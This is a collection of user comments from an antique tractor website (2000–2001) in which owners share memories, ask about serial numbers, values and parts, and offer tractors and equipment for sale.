Michael Cox wrote on Wednesday, March 21, 2001 (PST):I have a Super 55 HC. I've owned it since '95 and it hasn't skipped a beat. In the late 50's (probably when it was showroom new) it was converted to propane and prior to me buying it, someone changed out the electrical system. It now runs with an alternator. Needless to say, its a great tractor. When I've needed parts, I've bought them from Gap Tractor Parts in Cranfills Gap, Texas and From Allis/White Tractor Dealerships in Texas. Boy are replacement parts pricey! One day (hopefully soon) I'm going to restore mine, which really consist of painting it. The majority of pictures I've seen show red wheel wells, so that's the color I'm going to paint them.
Robert wrote on Wednesday, March 21, 2001 (PST):Patrick, the "S" you refer to in the serial number is most likely for standard tread version. Most WC tractors were set for row crop applications. That would be my guess as to what the S is for.
Kathleen Giddings wrote on Wednesday, March 21, 2001 (PST):My husband has a 1946 WD-9 with a 471 Detroit engine. When purchased, it was on steel. If anyone has any info. on this tractor, please contact me through my e-mail address.
John Brawner wrote on Wednesday, March 21, 2001 (PST):Where can i find info on adding power to A,B&G Deere tractors,& parts?I have a 50,B gas would like to build up the power any help? thanks JOHN
Rock Stone wrote on Tuesday, March 20, 2001 (PST):My wifes gradpa has a Super M with a front end loader on it. I am an idiot when it comes to tractors, but would love to keep it in the family. Any idea what it is worth?
Shirley Wheeler Hill wrote on Tuesday, March 20, 2001 (PST):Does anyone know if Serial# 84675 is a 1950 or 51 John Deere MT? The Pictures of all the tractors bring back fond memories for me also. My Dad died in 1977, and I'm 62 years now, but I can still see him up on the seat of that MT.
Pat Davis wrote on Tuesday, March 20, 2001 (PST):Looking for JD 420c idler brackets casting # m1824T and m1823T. Any information would be greatly appreciated. Thanks, Pat.
Pete Berg wrote on Tuesday, March 20, 2001 (PST):I am looking for a set of tracks or a manufacture of tracks for a tractor. I will be working in soft ground, swamp areas. Any help ... would be a big help. Company name, phone number, address, etc.
C.W.(Jim) Broughton wrote on Monday, March 19, 2001 (PST):To; Tom,Re; Disc... You will get better action and performance out of a regular "pull-behind" disc than you will out of the fast-hitch type,or even a three point disc, especially on the corners! You should have a drawbar attachment that goes on (bolts) to the bottom of your fast-hitch..simply put it on and either use a trailer ball or a clevis pin to attach a standard disc, takes about four concrete blocks to make 'er cut good, but you'll get good results !! Lots of luck...Jim
lance stephenson wrote on Monday, March 19, 2001 (PST): My buddy is searching for a perkins 4 cyl.236 that fit a 470 Ebro tractor. Any help would be appreciated.
Wayne wrote on Monday, March 19, 2001 (PST):Hey Phil, Can you give me some info on this Farmall "Lift All"? I'm going to inherit a "B" before to long and the pneumatic lift has been gone for years. My daddy has it now, he farmed 45 years; retired in '92. His father (grandaddy) bought in new in '47 and died the same year. This is the tractor I "cut my teeth on" cuttin tobacco stalks with a two row stalk at the ripe old age of 7. Always been sheltered and daddy kept it in good shape converting it to a "spray rig" before retiring. Would like to put a belly mower on it to cut grass. NEED A LIFT! Any suggestions anybody?? Proud to be a farm boy! Thanks! Wayne...NC
John Alfred Smith wrote on Sunday, March 18, 2001 (PST):NEED HELP !! I bought a single frount wheel assembly for a IH a day ago it is not like the one in the picture above, it has straight side strutes ,not the fat, wishbone style like above. The wheel is not a bolt-on the-hub, or solid wheel/rim, both of these have the single axle-bolt to mount to the wishbone strurt, Mine has like Isaid before the straight sided struts , the big difference is the wheel/rim porition. This part is large castiron spoke wheel. With 1&1/2 diameter spokes about 2 in. apart . This means the V between each spoke is about 2 in deep . The rim is welded to the wheel porition . Any Information on this type of single frount would be appreciated!!! Thanks, John Alfred Smith
Ken Sanders wrote on Sunday, March 18, 2001 (PST):I have an 8n ford front distributer model that I am trying to find out the capacity of the rear hydraulics system and the type of fluid used in it.
Rick Terhaar wrote on Sunday, March 18, 2001 (PST):I have a parts for a 20-35. The motor was blown & block cracked.Its just a pile parts now that I gave up on.If you need parts for one let me know.
James R. Kelley wrote on Sunday, March 18, 2001 (PST):I would appreciate someone advising me the horsepower of a Allis D-17 Gasoline series III & IV. Thank you.
James R. Kelley wrote on Sunday, March 18, 2001 (PST):I would like to buy a Allis D-17 Gas - Series III or IV. Prefer to be within 300 miles of Rolla Missouri. Thank you so much.
uknown wrote on Sunday, March 18, 2001 (PST):why are you people talking about a tractor?
Rhea Park wrote on Saturday, March 17, 2001 (PST): i have a 1948 ac g with hyd,planter,plow,cultivator,and sickle bar mower all in very good condition for $4250 central illinois.
joe L wrote on Saturday, March 17, 2001 (PST):in response to your ? . i have owned a couple of H farmall's and have broke several acre's of ground with one. as with any tractor it depends on the type ground you are in. too wet etc. as for lack of power in 5th gear on hills i think that is common with all h's and m's. it seems they need a gear between 4th and 5th. the h farmall as with all other farmall's are truly great tractors. and are still going strong today. i know mine is. thanks joe
Fred wrote on Friday, March 16, 2001 (PST):I've found one of these tractors for sale - in almost as good of shape as the one pictured - and idea what I should offer? Thanks! - Fred
Theo Brauch wrote on Friday, March 16, 2001 (PST):I have just gotten a 720 diesel that was on my uncles farm every thing works and it has rockshaft for 3 piont hitch so if any one knows were there might be some arms caqn you let me know hoping to get this old beast back to show room condition in the next little bit.This was the first tractor O I ever sat on at the age of 3 and with any luck it will be the last on.
Troy Lutton wrote on Friday, March 16, 2001 (PST):We have a 49 W-9, very little used, sat inside for twenty odd years. The sheet metal is all perfect, not one bump or scratch. No rust, paint faded but still completly intact, Does anyone know the approx. value? Nice W-4
Lavoy wrote on Thursday, March 15, 2001 (PST):Parting out John Deere crawlers, MC-440ICD. Also offering track rebushing service, BO Lindeman through early 1010/2010.
jim wrote on Thursday, March 15, 2001 (PST):This was a great hay mowing machine for small acreages using the mid mounted mower has many fond memories for me. This tractor was also one of the easiest starting hand crankers I ever used. I grew to hate the plowing operation of this tractor. It also made a great stationary unit for belting operations. All in all I wish I had it still.
Bob wrote on Thursday, March 15, 2001 (PST):I am looking to buy a W-12 at sometime. Anyone out there selling one. I have several tractors of my own but one of my favorites is my Fairway-12 # 838. If you are interested in talking about the Fairway or know of a W-12 that can be purchased please send me a note.
TJ Ebenhack wrote on Wednesday, March 14, 2001 (PST): We have a late model 550 gas with power steering and old style loader that is in good condition. Does anyone have any idea what kind of price it may be worth? I appreciate e-mails from anyone whom might have an idea.
DON B wrote on Tuesday, March 13, 2001 (PST):Found #118 in a shed in TENN.1985 Hauled home to Ohio in back of pickup truck. Rear tires loaded,1 row cult.,& front wheel wgts. One heck of a ride. Nice little tractor. Would like to put belly mower on as farm has 3 A. yard.
Ella McFetridge.. wrote on Monday, March 12, 2001 (PST):A friend has a wonderful workhorse of a tractor a Cockshutt-540. this is all he knows about this tractor,he has had it many years.bought if many years ago,restored it and has worked it every since. But he would like some information on it..Please, Thank you
Martin Lautaoja wrote on Monday, March 12, 2001 (PST):I have an Allis Chalmers tractor with the serial number of WC80137. Can anyone tell me what year this tractor is. Please email me at latoya at nt.net thanks
Tim Stobbs wrote on Sunday, March 11, 2001 (PST):I am looing for an engine rebuild kit for a Massey 55. We have been using the tractor for haying and now the oil consumption is significant. Thanks
Scott wrote on Sunday, March 11, 2001 (PST):I have a very nice 990 for sale it is a very nice tractor. The 990 is the same as a super 99 but newer and different sheetmetel. I am asking 8500 for it.
Harv Lyndaker wrote on Sunday, March 11, 2001 (PST):I acquired, along with my home in 1970, a 1940 Model H, serial no. 15342 (behind the flywheel). Along with it came a 1 bottom plow, cultivator, and hiller. Been using the plow, and disking, and dragging my garden ever since. Works great, but did replace rings in 1972 and 1999. My son (30) says not to sell it because he wants it some day. Could use one new rubber in front. Starts every time for gardening and for spraying my fruit trees.
Jacques Bérard wrote on Saturday, March 10, 2001 (PST):We have an Oliver Super 44 (from 1960) and we sold it to someone for 1800$ CAN (we live in the Québec). I want to know if it's a good price.
Patrick Graham wrote on Saturday, March 10, 2001 (PST): I recently purchased an old 1944 Allis Chalmers WC. I found it in a farmers barn and it hadn't been running in a couple of years. He told me it was a WD. After finding the serial number on the rear pumpkin I found it was a WC. It still runs but needs a little TLC. One rear rim is smaller than the other. It needs a new exhaust stack, but it runs fine. For 250.00 I think I found a great deal. I don't know what the letter "S" stamped after the serial number means. If anyone knows the answer please let me know. Thanks
Jim Brown wrote on Saturday, March 10, 2001 (PST):I just purchased, what I believe is a 1950 WD, although the previous owner told me it was a WD45. Could anyone tell me how to tell the difference. This tractor came to me equipped with a yale loader and works hard for me plowing snow with the bucket removed and a plow blade attached. I will be using this same tractor in the spring , equipped with forks, 1st as a scidder, then to load the saw mill. The tractor runs good with a slight carb problem which we are correcting with a new carb, but the charging system doesn't work at all. I would appreciate any and all help in this area. LONG LIVE THE BIG ORANGE
Cliff Whitesides wrote on Saturday, March 10, 2001 (PST):Looking at your tractors reminds me of years ago. Although I'm only 37 my Grandfathers farm was run only by antique John Deere Tractors. The first tractor I learned to drive at age 10 was a JD-G. The hand clutch terrified me. He had an assortment of JDs. There was the G an A a MT and an old allis chalmers B. Thank you for bringing back such fond memories of a much simpler time in the mid 70s in York SC
Ray Holdiman wrote on Saturday, March 10, 2001 (PST): I bought a John Deere GP in 1948 used it for four years. then traded it to the John Deere Dealer in Bozeman, Montana. Before I traded it I painted it as a school shop project. there were no decals avaiable then so I painted around the raised letters with black paint I saw it in the summer of 1999. Still the same Paint job. Still runs. It was a 1928 model.
Vernon Hatcher wrote on Friday, March 09, 2001 (PST):Timmy G. I purchased a Manifold PN 04-695700 from my local JD Supplier. Your welcome to give him a call at 770-427-8491 and ask for Bennie. He may tell you where he found it or sell you one and ship it to you. Cost me $350.00. I'm sure everyone reading these posted messages agree that restoring an old tractor can be quite expensive and rewarding.
Lindsay Schlaud wrote on Friday, March 09, 2001 (PST):I have an F-12 with original wide front end. It also has the two speed transmission. Had it in four parades and got four trophies. I would like to know how rare the wide front end is. I have only seen one other one like this. I also know of a place that sells new manifolds. They run around 100 dollars. Also found a place in Ind. that has new fenders. Thankyou.
Jerry wrote on Thursday, March 08, 2001 (PST):Great looking tractor! I have a MF 97 FWA that I am looking to sell. Let me know if you are interested.
Garry Houpt wrote on Thursday, March 08, 2001 (PST):Piston rings for M/H Pony can be found in open stock of perfect circle or TRW, check with a good auto parts dealer. If you have never overhauled a pony engine, you will find it rather expensive for such a small engine. Pistons are also hard to find. Some of the older massey feguson dealers may have a few carb kits for this tractor, I found one this way. I need an exhaust manifold for M/H pony if anyone out there has one for sale.
Bill wrote on Thursday, March 08, 2001 (PST):I have a '52 cub I want to rewire. Oem tractor sales lists,a main, main 8 cable w/vlt.reg., main 4 cable w/ gen. relay, main 7 cable w/vlt.reg., switch to rear light 6v.harness, & a rear light harness. what ones do I need? also does anyone know if these harnesses have all the separate wires needed, minus the spark plug wires? thanks
Vincent Iansiti wrote on Thursday, March 08, 2001 (PST):I have a 4000 Diesel ford tractor.I would appreciate being informed where I can get the manual for this critter. Also the year of birth for this model. Any info would be appreciated.
Sean Welsh wrote on Thursday, March 08, 2001 (PST):I just got on the internet yesterday and I see a lot of the D17 e-mail Questions are a few months old so I don't know if the questions have been answered yet. If not I should be able to help with alot of them, I grew up driving my grandpa's D14 and the first tractor I bought for my farming operation was a D17. I have in the last five years gone throught EVERYTHING on both tractors ie. motor, convert from 6 to 12 volt on the D14, the piston hyd. pumps for high pressure low volume, addition of front crank driven pump to run modern loader, added 3 point to D17 etc. etc. Just thought i would throw that out there, i have read most a-c books and manuals and I guess I am a true A-C fan. The above mech. work I did with an old friend that worked as amech. at an AC dealer when they were making and sellings these tractors and I would be happy to share any info. with someone wanting to get into A-C's.
Shannon wrote on Thursday, December 14, 2000 (PST):I am going to help my dad restore a '36 (I think) WC. We will likely need parts and supplies - any suggestions for something in the Southeast? Are parts readily available or difficult to find? Where on the tractor is the serial number and where can I reference the date of manufacture? Sorry for all the questions... Just want to know a little info before I dive in head first.
Tom Adamson wrote on Thursday, December 14, 2000 (PST):I have a Pacer in excellent condition that I bought with Pony decals on it. I'm fairly sure it is a Pacer but the serial # is gone. Any other way to tell? I may want to sell it and would like to know the value. Would like hyd. for it.
John Swardstrom wrote on Thursday, December 14, 2000 (PST):Looking for pictures and general information on the 1936 model D. I would work all day out in the field doing summerfallow in ND starting when I was 10 years old and not big enough to turn the flywheel and start the tractor. I would also have to push in the hand clutch lever with my foot because I could not reach it by hand. I enjoyed reading the various comments others made here.
Guy Andersen wrote on Wednesday, December 13, 2000 (PST):The LU-2482 engine was used on a 12-A John Deere pull type combine. LU-2482 combine engine will not fit a L John Deere tractor. We have a LU-2482 engine and L John Deere tractor with mower. Are you interested in a plow or two? We have a few to choose from.
James Hill wrote on Wednesday, December 13, 2000 (PST):My father in law and I restored his co-op e-4 several years ago, but we still need to find a PTO shield. It's the same tractor different name.
John Sweda wrote on Wednesday, December 13, 2000 (PST): My father purchased a model D in 1937 it was on steel it replaced an old fordson that was useless .I did all the work with the Model D .My dad had to turn the fly wheel because I was'nt strong enough. Have many fond memories .
John Sweda wrote on Wednesday, December 13, 2000 (PST):m y father purchased a used model D in 1937,this was to replace
Ken from Omaha wrote on Wednesday, December 13, 2000 (PST):I have an early '50 Cub tractor and trying to mount the snow blade. Its marked L54 on the snow blade frame, but the mounting hook-ups dont look right. There is a a spring and rod on the bottom of the frame and long arm with long sring on top of frame (yellow in color) Do I have the right snow blade?? Thanks Much
Steve Treimer wrote on Wednesday, December 13, 2000 (PST):james hauwiller, Maybe your H was one of those returned to JD for retrofitting and was reissued a later S/N like Craig Rhodes' up above.... In any case if you go through the Collector's Center in Moline, you can probably track down some of the original build/ship date and other info regardin this tractor.
Jeff Jackson wrote on Wednesday, December 13, 2000 (PST):What is a "wide front" If a M model has a wide front has it been modified? Please help!!
B.Canada wrote on Tuesday, December 12, 2000 (PST): I have recently purchaced a Ac I think It is a D 17 but I can not find a model number or a serial number for it. It has a 4 cylender propane ran engine If it is a D 17 does anybody know what the horse power is, and where I can get a shop manual for it. If anyone can help please let me know?
Drew Ayres wrote on Tuesday, December 12, 2000 (PST):I am looking for the orginal temp guage and amp guage for an 1130 with the turquoise illumination, also replacement decals for a sprit of 76 1135, the bicentenal decals and the star kit.
David Smith wrote on Tuesday, December 12, 2000 (PST):I have a 1066 C/H/A in great shape pulling 180+ HP. It is one great tractor that everyone should have of these if you are farming.Would like to have a 1468 or 1568 IH also.
R.B. Barnby wrote on Tuesday, December 12, 2000 (PST):This is not an orchard tractor... It does not have orchard fenders to keep branches off the tires and it has the exhaust going up instead of down under the tractor
Michel Brousseau wrote on Tuesday, December 12, 2000 (PST):I've owned an Oliver super55, 1955 for 2 months now and might i add how much of a great tractor it is! It's very strong and reliable. I've already re-painted my Oliver in it's original colours using base and clear coats. It looks really shiny and nice and sparkly. It makes a 40 year old man act like a kid again. Like they say "old tractor's are big boys toys"!Geeze i really love that easy clutch on that tractor. Every man interested in tractors should most definetly look into one of these.
Michel Brousseau wrote on Tuesday, December 12, 2000 (PST):I've owned an Oliver super55, 1955 for 2 months now and might i add how much of a great tractor it is! It's very strong and reliable. I've already re-painted my Oliver in it's original colours using base and clear coats. It looks really shiny and nice and sparkly. It makes a 40 year old man act like a kid again. Like they say "old tractor's are big boys toys"! Every man interested in tractors should most definetly look into one of these.
Nick wrote on Monday, December 11, 2000 (PST):I grew up on JD two cylinders, on a small dairy farm here in Michigan. The last tractor that my father bought was a 70 diesel, that must have been back around 1975. I can remember lugging that diesel down long enough to make the muffler glow red. The tractor is still on the farm. I would like to get an idea of what it is worth. It is in fair condition, has been kept inside but has not run for approximately 10 years. Sheet metal is in good shape, has a mechanical problem with the steering. Pony motor ran as of 10 or so years ago. Would really appriciate any info on what a fair market price would be.
Pete Brodeur wrote on Monday, December 11, 2000 (PST):My grandfather has a little 80 acre farm in Rhode Island. We bought a 1086 and it is great. The decal says "1486" cuz the guy tuned her up. Where we dynoed it the limit was 135 and she was only half throttle and it was maxed out. We got a John Deere 1010 field cultivator that is 22 1/2 feet wide and she pulls it with no duals. With the chrome dogleg she has lots of bark to her.
Indiana Rock wrote on Monday, December 11, 2000 (PST):I have a 1957 Loboy. I need a couple of headlights and a back light. Can anyone tell me where I can get them? do not need the housings, just the lenses.
Eldon wrote on Monday, December 11, 2000 (PST):Looking for a fuel guage for a D17..like to get a price..I enjoy my D17..seems to be the right size for most jobs to be done on a hobby farm..
Gerry Loucks wrote on Sunday, December 10, 2000 (PST):We know very little about our 871 Ford tractor with original gold paint. We got it from the original owner who said he bought it in 1959 and that each dealer only got one as a promotion for the selectospeed transmission. It has under 1000 hours and is in very good condition. we would like to know more, might think of selling.
Tony Smith wrote on Sunday, December 10, 2000 (PST):Mark Limberg . We use a snowblower on a hydro. Maybe a 656 hydro would be a good tractor.
Jack Kerr wrote on Sunday, December 10, 2000 (PST): I have a 1941 B . I use to move trailers around , But it mostly used to show now . It has everything J.D. had to offer in 1941. Your tractor is also very nice. Stop and show with us at Portersville Pa. Just off of I-79 E-Mail me for more info .
Mark Limberg wrote on Sunday, December 10, 2000 (PST):I grew up on a farm and drove 766, 966, 1066, 1086, 1586, and 7130 tractors. I now live on an acreage, but don't farm. I am looking to buy a tractor that I can use a loader and 3-point snow blower. Can someone make a recommendation for me? I was thinking of 786, 886, 986, 1086, or maybe even a '66 series, but I'm not sure the best way to go. Any suggestions would be greatly appreciated.
jack serl wrote on Sunday, December 10, 2000 (PST):I have owned several D`s , still have a 1950 model, I have never seen a D with on-board hydraulics I`m sure you have had several comments on this. just thot I`d add my two cents worth on this....happy holidays....Jack
Dennis O. Rinehart wrote on Saturday, December 09, 2000 (PST):My father farmed with the Co-Op 20 and 30 in addition to the Cockshutts 20 and 30. He had narrow-front tractors. Cockshutt [sold as Co-Op in the USE via the Farm Bureau] was one of the first tractors to have a live power take-off. Dad used his CO-OP 20 and 30 in Tractor pulls at County fairs. Their power gave him many ribbons. No I am desparately looking for 1/16 scale models of these tractors for a farm tractor collection for future grandchildren. My parents have died. I want to keep telling our farm-family story. Having these tractor models would be wonderful for me. If anyone knows what I inquire about purchasing these 1/16 scale models, please write me; Dennis at aol.com. Thanks!
Chuck Watson wrote on Saturday, December 09, 2000 (PST):I would like to restore my dad's old GP but someone stole the radiator and I need a replacement.
Bob Smith wrote on Saturday, December 09, 2000 (PST):I have a 1930 22-36 that my grandfather bought new. It's been in the family since then and still runs good. It was completely overhauled in 1957. Grandpa converted it to rubber tires and installed a steel cab on it in 1946. He needed the cab bacause he pulled a cornpicker with it in the cold falls here in South Dakota.
Jim Stratz wrote on Saturday, December 09, 2000 (PST):Cute little tractor. Can't see where it would be good for anything else but mowing, hauling wagons or powering an auger. Lets face it, anything under 75 hp is a toy.
doug wrote on Friday, December 08, 2000 (PST):we have a toro model b 4cyl. eng. with a steel dumpbed and steel cleeted rear wheels can you provide any info on this tractor needs extensive restoration would appreciate if you could point me in the right direction thanks
jim wrote on Friday, December 08, 2000 (PST):Robert, the 730 series used the exact same engine as the 720. According to the "Official Nebraska Test #594" the diesel 720 had 58.84 calculated belt hp. The serial numbers for most of my ready to hand sources show ; 1958 7300000 to 7303760, 1959 7303761 to 7322074, and 1960 as 7322075+. However, these numbers indicate build date, NOT model year. Just like the car guys, you could get next years model before it was actually next year. Accordingly, there are really only 1959 and 1960 model years. There were a very few 1961s all built for export only. Your electric start 730 diesel came with four (4) SIX volt batteries. This was because four six volt batteries together are more powerful in terms of cold cranking amps (cca) than any two 12v batteries that would fit in the box. The ones in my 730 are rated at 650 cca for a total of 2600 cca. I have not found any 12v batteries which exceed 1300 cca, so my tractor has four batteries, just like it was originally equiped. Hope you enjoy! Jim
Clarence Turner wrote on Friday, December 08, 2000 (PST):For the people looking to find out what year your WC is i found a web site called Antique Tractor Serial Number Referance. It has listing for all allis chalmers tractors plus many more. The web site address is as follows www.sckans.edu/~alan/tracsn.html Hope this will help those looking to find out year their tractor is.
ernest wrote on Thursday, December 07, 2000 (PST):Is it possible to hook a mini backhoe to a Oliver55 ?
rick wrote on Thursday, December 07, 2000 (PST):If your tractor runs for a couple of minutes and shuts down get your coil checked.
Armand wrote on Thursday, December 07, 2000 (PST):My dad had a 35L that we bought from a neighbor. We used it for just about everything from pulling trailer loads of wood out of the bush, to haying on my moms farm, towing cars and small buidings up the road. That tractor pulled everything we hooked on to it. After years of use it dropped a valve and my dad didn`t get a chance to fix it as he passed away in 1989 when I was 19. In my stupidity I sold it when I was 20 for a measley $250 because I needed some cash. Am I ever kicking myself for selling it. I loved to drive that thing. Lord willing someday I can afford to but another Cockshutt so my kids can have the enjoyment that I had as a young man. I like the 30 35 40 50 and the 500`s are nice too.
Armand wrote on Thursday, December 07, 2000 (PST):My dad had a 35L that we bought from a neighbor. We used it for just about everything from pulling trailer loads of wood out of the bush, to haying on my moms farm, towing cars and small buidings up the road. That tractor pulled everything we hooked on to it. After years of use it dropped a valve and my dad didn`t get a chance to fix it as he passed away in 1989 when I was 19. In my stupidity I sold it when I was 20 for a measley $250 because I needed some cash. Am I ever kicking myself for selling it. I loved to drive that thing. Lord willing someday I can afford to but another Cockshutt so my kids can have the enjoyment that I had as a young man. I like the 30 35 40 50 and the 500`s are nice too.
Keith wrote on Thursday, December 07, 2000 (PST):Hi Greg, J.I.Case Co. didn't manufacture tractors in Washington DC. The tractor was probably built in Racine, Wisconsin. The War Dept put tags on everything. That's all I know. Good luck.
jason schott wrote on Thursday, December 07, 2000 (PST):Although the 66 series is a nice series for power. I think the 86 series is the best for field work such as cuting silage for feed because you have everything right there on the dash TA and throttle. the gears and hydrolics are right on the side and the acceleration is nice and so is the ride. It has the right power for all the jobs on my families farm
jason schott wrote on Thursday, December 07, 2000 (PST):Although the 66 series is a nice series for power. I think the 86 series is the best for field work such as cuting silage for feed because you have everything right there on the dash TA and throttle. the gears and hydrolics are right on the side and the acceleration is nice and so is the ride.
ken pylman wrote on Wednesday, December 06, 2000 (PST):we had MD,, HAD DUELS onthe back. Used for discing and plowing, on a sugarbeet digger and for cultivating also. I still have the cultivator back and front tool bars, they are in good shape. make me an offer.
ken pylman wrote on Wednesday, December 06, 2000 (PST):we had MD,, HAD DUELS onthe back. Used for discing and plowing, on a sugarbeet digger and for cultivating also. I still have the cultivator back and front tool bars, they are in good shape. make me an offer.
Doug wrote on Wednesday, December 06, 2000 (PST):Enjoyed the site on B's. Did work a B some but worked with a D-10 several years. To my opinion the D-10 is one of the best tractors ever made. I sold my 1960 model in 1991.My father bought new in 1960. Was still running great after all those years and acres.
Fred Lehman Mt Vernon, Ia. wrote on Wednesday, December 06, 2000 (PST):I owned and drove a 28-44 Oliver Hart Parr from 1955 to 1960. It was a fine tractor. I pulled a 4 bottom Case plow at 5 miles per hour and it hardly open the governor. I removed the belt pulley and mounted a hydraulic pump leaving the pto. free to operate field chopper and other pto operated machinery. It had a 12 mile per hour road gear and was of course on rubber. To crank it you stood on the right side facing backward and turned the crank a quarter turn. In 1960 I trade for a tractor with a starter lights etc. but never had that kind of power again.
Fred Lehman Mt Vernon, Ia. wrote on Wednesday, December 06, 2000 (PST):I owned and drove a 28-44 Oliver Hart Parr from 1955 to 1960. It was a fine tractor. I pulled a 4 bottom Case plow at 5 miles per hour and it hardly open the governor. I removed the belt pulley and mounted a hydraulic pump leaving the pto. free to operate field chopper and other pto operated machinery. It had a 12 mile per hour road gear and was of course on rubber. To crank it you stood on the right side facing backward and turned the crank a quarter turn. In 1960 I trade for a tractor with a starter lights etc. but never had that kind of power again.
Fred Lehman Mt Vernon, Ia. wrote on Wednesday, December 06, 2000 (PST):I owned and drove a 28-44 Oliver Hart Parr from 1955 to 1960. It was a fine tractor. I pulled a 4 bottom Case plow at 5 miles per hour and it hardly open the governor. I removed the belt pulley and mounted a hydraulic pump leaving the pto. free to operate field chopper and other pto operated machinery. It had a 12 mile per hour road gear and was of course on rubber. To crank it you stood on the right side facing backward and turned the crank a quarter turn. In 1960 I trade for a tractor with a starter lights etc. but never had that kind of power again.
AL wrote on Wednesday, December 06, 2000 (PST):Looking for Allis D15,17 or 19 in good or restored cond. for use on acerage, preferably gas with 3pt hitch. Live in Alberta, anyone know of one for sale within reasonable distance? thank you.
Aaron huff wrote on Wednesday, December 06, 2000 (PST):used one up to the early 90 s great tractor
r.Price wrote on Tuesday, December 05, 2000 (PST):born & Raised on Case tractor. SC & DC. Later 800 Case-o-matic-drive. Later still the 30 series. 930 to be exact.
James G. Hauwiller wrote on Tuesday, December 05, 2000 (PST):the Serial Number on that JD Model H is H 14304. Grandma is just so sure and she paces it around the birth of her children.
James G. Hauwiller wrote on Tuesday, December 05, 2000 (PST):My mother-in-law, a lady blessed with an unbelievably accurate memory, claims that her husband and his brother bought the JD Model H which my wife and I bought from her was orignially purchased in 1939. My check of serial numbers would indicate that the tractor was not sold until 1940. Can this controdiction be resolved by someone in the know. Thank you so much.
David Payne wrote on Monday, December 04, 2000 (PST): I recently purchased an I-4 with similar rear wheel configuration, however it came with a Hough grader blade and loader. It was originally red and is going to take a lot of scraping to restore, but it runs strong, especially if I can get the carb rebuilt or replaced! Dave Payne
Norv wrote on Monday, December 04, 2000 (PST):I have a Cletrac Model HG68,Serial 90A294,Engine D19X Can anyone tell me what year it was built and what it may be worth? It runs good operates good.
Denny Odle wrote on Monday, December 04, 2000 (PST):My grandfather passed away on November 29th 2000.He had a t-30 in the barn that runs and works well but is in need of restoration.Can anyone put me on the right track as far as what to do for parts as this will be a project that my dad and I will enjoy
Dennis Graves wrote on Sunday, December 03, 2000 (PST):Nice tractor! I have just bought a J.D.720 diesel w/pony motor.I had to overhaul it because previous owner let rain water get in the exhaust pipe.To; Charles Carlisle in N. Carolina I would be interested in the foot clutch set-up.
john tabor wrote on Sunday, December 03, 2000 (PST):i've got a 48b jd with the planters on it and i need the row markers for it real bad. can be seen on rear cover of june issue of green magazine. green magazine or two cylinder mag are great places to find the answers to a lot of questions asked on these pages and to locate hard to find parts or people who restore about everything of jd's. parts books are available from most jd dealers as new reprints of service manuals, owersners manuals or parts books. parts people love it when you can call them up and tell them the exact part number your looking for. its surprising how many parts are still available through jd. good luck with your projects and keep a sharp eye out for row markers for me. thanks
Stump Apple wrote on Sunday, December 03, 2000 (PST):My dad bought one from my uncle in 1968. I grew up on it in our garden. I think he paid $300 for it. It had cultivators, Disc plough, turning plough, and a planter. It was a real good tractor for digging potatoes and working corn, but was easy to overheat in summer in N.C.
Gary Kempher wrote on Sunday, December 03, 2000 (PST):I'd much rather run a rather run a rusty deere than a new shiny Oliver. Iv'e used both kinds of tractor, for both plowing, and cultivating. I favor the JD, mainly because it was easier to operate, and much less maintenance intensive
MIKE wrote on Sunday, December 03, 2000 (PST):I am looking at a tractor that my neighbor has and I am trying to find out what it is could some one help me it is oliver yellow and diseal I dont know where the serial # is it has a wide front end it looks like the 550
Sam wrote on Saturday, December 02, 2000 (PST):I have a McCormick Deering 10-20 tractor that I want to restore. Is it possible to get a head gasket or any parts for this tractor. Also does anyone have any advice as to getting the motor loose . Would greatly appreciate any help.
fast ed wrote on Saturday, December 02, 2000 (PST):my grandfather told me about sears selling a kit that would convert model T into farm tractor , not a great tractor ,it was said to be under powered and overheat because the cooling system was to small.
R Correll wrote on Saturday, December 02, 2000 (PST): I have a 2010 gas with wide front end. IT's a 1965 and have had it for 23 years. Have bushogged and done loader (model 36 loader) with it and love it. I put 15.5/38 tires on rear and 9.50/15 on front .What a difference. I'll never part with this tractor. The grinding in shifting is caused by worn shifting linkage. Mine started doing it and i had linkage rebuilt and it's like brandnew. if it lasts another 30 years i can't complain. I think the 2010 got a bad rap because s omme of the first ones had some problems that needed and COULD be fixed. My dad had a 1961 diesel and loved it.
James Estes wrote on Saturday, December 02, 2000 (PST):I had a 1953 G. It was a pretty good old tractor but I sold it to a friend last spring. I would like to have an unstyled G. I have a 1938 A and a 1955 50.
Don MIlne wrote on Friday, December 01, 2000 (PST):To mr Norwood. That is not origianal seat or I dont think so. They were separate pieces the back was stationary and the bottom lifted off for bad weather. I have 3 Pacers with original seats but new covers. Iam looking for a Manifold for one .Thanks Don Milne
matt wrote on Friday, December 01, 2000 (PST):We have a International 330 on are 90 acre farm. We have used it for years farming and finally this year we restored it. But it is still used almost every day on are farm
Phil Howell wrote on Thursday, November 30, 2000 (PST):48 cub loboy for sale (serial 13616) good condition. belly mower only attachment. $ 2,500.00. Augusta Georgia.
Andy Mcferran wrote on Thursday, November 30, 2000 (PST):My father and grandfather bought an 1935 new in 1936 it was on steel. Dad had the steel cut off and rubber put on in 1938 and had the long front steam put in in 1939. Dad had two mounted cornpickers on this tractor and had an MM 69 combine that he did coustom work with. I still have this tractor and plow with at the Boone county plow days we have cleaed and painted twice and we put 1938 cast wheels on the rear the old welded on reams had give up.
Charlie Malloy wrote on Wednesday, November 29, 2000 (PST):I am interested to learn about Oliver standard tractor or Oliver orchard tractor. My question is, will a rowcrop 70 6-cylinder motor fit into a standard tractor? I am a member of the mid-Michigan Gas Tractor Assoc. & am very interested in Oliver tractors. I will appreciate your reply.
Jan Seykora wrote on Wednesday, November 29, 2000 (PST):We have recently purchased a Case Tractor with the following serial number - 5420690SC. Can you tell me something about it?
don lauger wrote on Wednesday, November 29, 2000 (PST):I need to overhall my 1949 pony ,have been looking for engine parts,where is a good place to buy?
Don Ward wrote on Wednesday, November 29, 2000 (PST):I have a 44Special with wide front and a speeco 3pt. Also a 444G Narrow front for sale. Have 2 or 3 tractors for parts. All for sale. Please write or call 815-633-2299. Thx
Jim Volek wrote on Tuesday, November 28, 2000 (PST):I have a 2010W diesel yellow backhoe/bucket. 1962 ser#30891. I have spoken to people who said it was a lemon, one of the worst ever made. It was sitting for over 10 years before I purchased it for $1000. I have been working on it on weekends for the past few months. The head gasket was blown, PS motor cracked, etc.etc. It runs now and I have fixed about 75% of problems. The HYD system takes on a lot of water. It seems like a real strong machine, but I have the gear grind transmission problems also. Any good junk yards for this machine? Any suggestions? Thanks, Jim
